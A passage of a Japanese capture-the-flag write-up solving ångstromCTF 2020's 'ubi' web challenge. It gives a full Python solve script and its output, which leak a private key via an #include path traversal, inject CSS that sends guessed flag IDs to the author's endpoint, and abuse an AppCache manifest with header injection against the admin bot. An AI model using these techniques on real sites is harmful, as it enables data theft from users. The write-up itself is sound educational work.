が表示されている部分を、下記のようなスタイルで装飾すると、正解だったときのみid
が{用意したエンドポイント}
に送られてきます。
.tile:nth-child(n) a[href^="https://flags.2020.chall.actf.co/download/{予測したid}"] { background-image: url({用意したエンドポイント}/{予測したid}.png); }
^
は
[attr^=value]
attr
という名前の属性の値がvalue
で始まる要素を表します。
なので、signatureを含んだurl全体がわかっていなくても大丈夫です。
idは16進の16桁なので、一回の通信で当てようとすると16^16
個も上記の条件を書かないといけないので非現実的。かつ、/build
機能を使おうとしているので、len(request.form['src']) > 500000
の条件に引っかかってしまいます。前方一致でいいので、idの上桁から1~2桁ずつくらいを確定させていくのが良さそう。
ちなみに、nth-child(n)
とすると"子要素のn番目にスタイルを適用"となっており、flagのdivがis-child
になっているのでflagのボックスのn番目に適用、みたいにできます。
3.adminに用意したcssを使わせる
では、どうやってadminにこの攻撃用スタイルシートを使用させるか。ここで先程のAppCacheの話が出てきます。/build
機能では任意のファイルをアップロードできるため、攻撃用のcssもアップロードできます。cのコードじゃない場合はbuild結果はerrorになりますが、errorの場合もエラーメッセージにidが入ってくるし、download urlも作成できます。更に、download urlにx-ubi-src=1
を設定すれば、source.c
のダウンロードが可能です。
更に、先程確認したAppCacheのmanifestですが、
CACHE MANIFEST CACHE: / NETWORK: {用意したエンドポイント} CHROMIUM-INTERCEPT: /style.css return {my_css_url}
このように設定してみるとどうでしょう。Default設定には/
が入っており、adminに情報を送ってもらいたい{用意したエンドポイント}
は常にネットワーク越しで通信してもらう、さらにCHROMIUM-INTERCEPT
の設定により、/style.css
の代わりに{my_css_url}
にアクセスしてくれるようになります。
manifestファイルの拡張子は何でも良いのでsource.c
で構いません。使用される時にmime typeにtext/cache-manifest
を指定することが条件ですが、今回は Header Injection が可能なのでこの条件を満たせます。
更にmanifestファイルを使って欲しいページには
<html manifest="{manifestのurl}"> ... </html>
を記載すること、更に AppCache: Resource override scope checking - Chrome Platform Status より"X-AppCache-Allowed: /"
をレスポンスヘッダに付与することが必要になります。index.js
まで書き換えるわけには行かないので、まずはこのmanifestを使用するhtmlをまた/build
でアップし、このdownload urlを、adminがチェックしに来てくれるurlに設定します。さらにこのurlにリダイレクト設定を追加し、/
に飛ばすことで、このmanifestを利用しつつindex.js
を表示させます。
攻撃スクリプト
まずは、adminに見えているはずの全ての flag download url のidの先頭2桁を取得します。流れは上記のとおりです。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from Crypto.Cipher import PKCS1_OAEP from Crypto.Hash import SHA256 from Crypto.PublicKey import RSA import requests import json import urllib.parse ubi_url = 'https://ubi.2020.chall.actf.co' flags_url = 'https://flags.2020.chall.actf.co' flag_ids = ['24e9190b45d3f2c9', 'a72f6372028f43e6', '4c5fd91059c31aa4'] my_endpoint = {用意したエンドポイント} def private_key_export(privatekey): return key.export_key('PEM', pkcs=8) + b'\n' def create_signature(content_id, key, content_type): return PKCS1_OAEP.new(key).encrypt(SHA256.new(b'content-type: ' + content_type.encode('ascii') + b'\nx-ubi-src: 1\nx-ubi-id: '+content_id.encode('ascii') + b'\nx-ubi-key: ' + SHA256.new(private_key_export(key)).hexdigest().encode('ascii')).digest()).hex() def create_download_src_url(content_id, content_type, signature): return '/download/' + content_id + '/flag?content-type=' + content_type + '&x-ubi-src=1&sig=' + signature #### 1. get privatekey data = {'refere':flags_url+'/', 'src':'#include \"../' + flag_ids[0] + '/config.json\"\nint main(){ puts(\"Hello!\"); }', 'key':'test'} header = {'content-type': 'application/x-www-form-urlencoded'} res = requests.post(ubi_url + '/build', data=data, headers=header) privatekey = json.loads(res.json()['message'].split('\n')[2])['key'] #print(privatekey) key = RSA.import_key(privatekey) #### 2. create 1st attack css attack_style = """.tile:nth-child(n) a[href^="__FLAGS_URL___/download/__PREDICT_ID__"] { background-image: url(__MY_ENDPOINT__/__PREDICT_ID__.png); } """ attack_style = attack_style.replace('__FLAGS_URL___', flags_url).replace('__MY_ENDPOINT__', my_endpoint) attack_css = '' for i in range(256): predict_id = hex(i)[2:].zfill(2) attack_css += attack_style.replace('__PREDICT_ID__', predict_id) #print(repr(attack_css)) #print(len(repr(attack_css))) # < 500000 #### 3. upload attack css data = {'refere':flags_url+'/', 'src':attack_css, 'key':private_key_export(key)} header = {'content-type': 'application/x-www-form-urlencoded'} res = requests.post(ubi_url + '/build', data=data, headers=header) #print(res.text) my_css_id = res.json()['message'][6:22] print('my css id: ' + my_css_id) my_css_sig = create_signature(my_css_id, key, 'text/css') my_css_url = create_download_src_url(my_css_id, 'text/css', my_css_sig) print('my css url: ' + my_css_url) #### 4. create manifest manifest = """CACHE MANIFEST CACHE: / NETWORK: __MY_ENDPOINT__ CHROMIUM-INTERCEPT: /style.css return __MY_CSS_URL__ """ manifest = manifest.replace('__MY_ENDPOINT__', my_endpoint).replace('__MY_CSS_URL__', my_css_url) #print(repr(manifest)) #### 5. upload manifest data = {'refere':flags_url+'/', 'src':manifest, 'key':private_key_export(key)} header = {'content-type': 'application/x-www-form-urlencoded'} res = requests.post(ubi_url + '/build', data=data, headers=header) #print(res.text) manifest_id = res.json()['message'][6:22] print('manifest id: ' + manifest_id) manifest_sig = create_signature(manifest_id, key, 'text/cache-manifest') manifest_url = flags_url + create_download_src_url(manifest_id, 'text/cache-manifest', manifest_sig) print('manifest url: ' + manifest_url) #### 6. create attack html and redirect url attack_html = '<html manifest="' + manifest_url + '">Hello, Admin!</html>' data = {'refere':flags_url+'/', 'src':attack_html, 'key':private_key_export(key)} header = {'content-type': 'application/x-www-form-urlencoded'} res = requests.post(ubi_url + '/build', data=data, headers=header) #print(res.text) attack_html_id = res.json()['message'][6:22] print('attack html id: ' + attack_html_id) redirect = '\n' + 'refresh: 10; ' + flags_url + '\n' + 'x-appcache-allowed: /' content_type = 'text/html' + redirect attack_html_sig = create_signature(attack_html_id, key, content_type) attack_html_url = flags_url + create_download_src_url(attack_html_id, 'text/html' + urllib.parse.quote(redirect), attack_html_sig) print('attack html url: ', end='') print(attack_html_url)
実行結果
$ python solve.py my css id: 333dd372dd486628 my css url: /download/333dd372dd486628/flag?content-type=text/css&x-ubi-src=1&sig=b0b923683535a67e2ba57275ce478930bd6f31379c20d9ac861cf39a32f40c7e84268f6951c4136a7483fc33363a44c903561539f0ab7ed693d609407eac6fd80deb5703f30451dc6deaa24857323077f8a80d57c5c0ac80544edc65060e206c40642da30f0c8ba7f96618f2f593b691350ebb0b3b30af23f3c8de25c04d9211c9dc7224b72a6b8478dc3c6f8301c809889308d5e0db992e5a29625768831a229cebe46f5519b61e8febbae77a229c875f73f07a8e99655e0298a34255cffa53ea8be06d4179b95985f438684025dc5bfe39a01398552f4144e07ef7f22e5bef6691f087bc7060d657dc899e12921e252e603aacda317f1b5e4996a986b93d9e manifest id: 284f7b7b3f7487f8 manifest url: https://flags.2020.chall.actf.co/download/284f7b7b3f7487f8/flag?content-type=text/cache-manifest&x-ubi-src=1&sig=466fe9bca8f21b8d7473888f952e6d8bf727bacbfd60c8a8c585082534f8b5bcb90e280386cd6e189cb36b6d9248debc1d62fab5c12a396a223aa56466f6152e29be6ace5c18b56bdad31d2b63784ca647ff00ea589b5aac10f1e15d88d0571d0fe5a1a5cb4b7d99782dce3e03838795494b14fbfe9053d089f2cb5fba5d6e2eae37008465834b3bbe186784bc37413b0993717bfe4fb700ca2c732982adf8a4f7959fcb6cfec962df8c2b14b28df5a7e1a51ec06b3be8124eb205060b320931c81beccdf196c08aca65bba4c6478566f221503c5325f714b7d569b4734eb59ca56458891b32e7fdb5016285387e7085a98bb07977f6ac7049453e8fb8924035 attack html id: d55170028c7b7aff attack html url: https://flags.2020.chall.actf.co/download/d55170028c7b7aff/flag?content-type=text/html%0Arefresh%3A%2010%3B%20https%3A//flags.2020.chall.actf.co%0Ax-appcache-allowed%3A%20/&x-ubi-src=1&sig=56783ee8941914a25a1d82aa265878b9a34d4dc0cf7253666660fd1d90ed25f62f42e5fb3881c166039f013a5a76b493e94b0b01b02408c7135cbfdb8fdd49b0f8de304deea870b0443c8dcbfb5809e3a80c2532ec37d41377c758653be04c46d943814d42800318889f8ee8b42084efdad4adcbd5c4546871b4136d652d76023f082de751ad00d77eacafa1ca24c397f1a4d8432d6158a2c96b6d2f10dd894809cba3491e9d4871d1dd6d817a00d13a65583756ebfbefad6857cf63237e743ecb1239b1355f34e8e4794a9efe47f2a1119c9fa3e2d50e2e6abdcec0d6d23a2b3235310e37be68dcebb02a2f45e535aeabde7ab71c0a5cdb53da9e93a502c4e3
最後に出力されたattack_html_url
が、adminに踏んでもらいたいurlになるので、これをtopページのフォームに入れて送信します。しばらくすると、用意したエンドポイントにいくつかアクセスが来ます。
既知のflagのidは flag_ids = ['24e9190b45d3f2c9', 'a72f6372028f43e6', '4c5fd91059c31aa4']
なので、ここにない a5
が、ångstromCTF用flagのidの先頭2桁のようです!
此処から先は、css injectionの際の
.tile:nth-child(n) a[href^="https://flags.2020.chall.actf.co/download/{予測したid}"] { background-image: url({用意したエンドポイント}/{予測したid}.png); }
について、予測したidを2桁ずつ増やしていけばOK。(前方一致なので)
nth-child(n)
については、アクセスが4番目に来たようなので4番目の要素がångstromCTF用のflagのようです。そのままn
にして全部のflag boxについてcssを当てても、ångstromCTF以外のflagではidが一致しないので飛んでこないはず。4
にしてもn
にしててもそんなに結果は変わらないかと思います。
先程のスクリプトにidの処理を少しだけ追加した下記のスクリプトで、fixed_id
を2桁ずつ確定していきます。
...(略)... my_endpoint = {用意したエンドポイント} fixed_id = 'a5' # new! def private_key_export(privatekey): return key.export_key('PEM', pkcs=8) + b'\n' ...(略)... for i in range(256): predict_id = fixed_id + hex(i)[2:].zfill(2) # new! attack_css += attack_style.replace('__PREDICT_ID__', predict_id)
先ほどと同じ用に、最後の出力のattack_html_url
をadminに踏んでもらいます。今度はångstromCTF用flagのdownload urlしか引っかからないので、1個ずつ飛んできます。
16桁揃いました!
最後は、idがわかったのでångstromCTFのflagのdownload urlを生成します。先程のスクリプトに下記を追加(その前のパートは#### 2.create 1st attack css
以降をif len(fixed_id) < 16:
で囲む)
...(略)... fixed_id = 'a5995c60ded714f1' # new! ...(略)... if len(fixed_id) < 16: # new! #### 2. create 1st attack css ...(略)... #### 7. create ångstromCTF download url # new! elif len(fixed_id) == 16: flag_sig = create_signature(fixed_id, key, 'text/plain') flag_url = flags_url + create_download_src_url(fixed_id, 'text/plain', flag_sig) print(flag_url) print(requests.get(flag_url, headers={'referer': flags_url+'/'}).text)
実行結果
$ python solve.py https://flags.2020.chall.actf.co/download/a5995c60ded714f1/flag?content-type=text/plain&x-ubi-src=1&sig=6b4f84a99efbcc88dd80e6e5d274c0b28a06e2bad6d51bb02d584e780973642814eaa1a2693f5bfe2d4adb5ea186ef8bcc426d70db9166e74cab40315f9b70e46add71ae21eb6f2d82c77fe4e7f095ebcaf9394859566d616b8b8b468c276f4c70940e580f4e4f51be7ff70f1ab90ab6a2990b7a8660bdd8423d84ba2b7dc1f47740ae3285ef2283712117bcfb360c9e1c1f274f891b1bab62d9d52990ecc9feedbe6f9b8f8d081b7d5a1f8f115f7d62e888892ff263d45b368bb8a35538dc3ac04d72c63aa89efd03d25f5a5e3f05c4ffd3c067cc6d2fb8d9d5084ac0807ff4c5f2cd0e38a8fb421d8282a3ba5836532d492c8f00dec59414497e02c988a73f #include "stdio.h" int main() { puts("actf{seize_the_means_of_c0mp1l4tion}"); }
٩(๑❛ᴗ❛๑)尸
これは長い道のりだった…。公式解法のコードも、そのまま動かすだけだとflagが取れず、中身を読み解く必要があった。でもおかげで、復習だったけどとても楽しめました!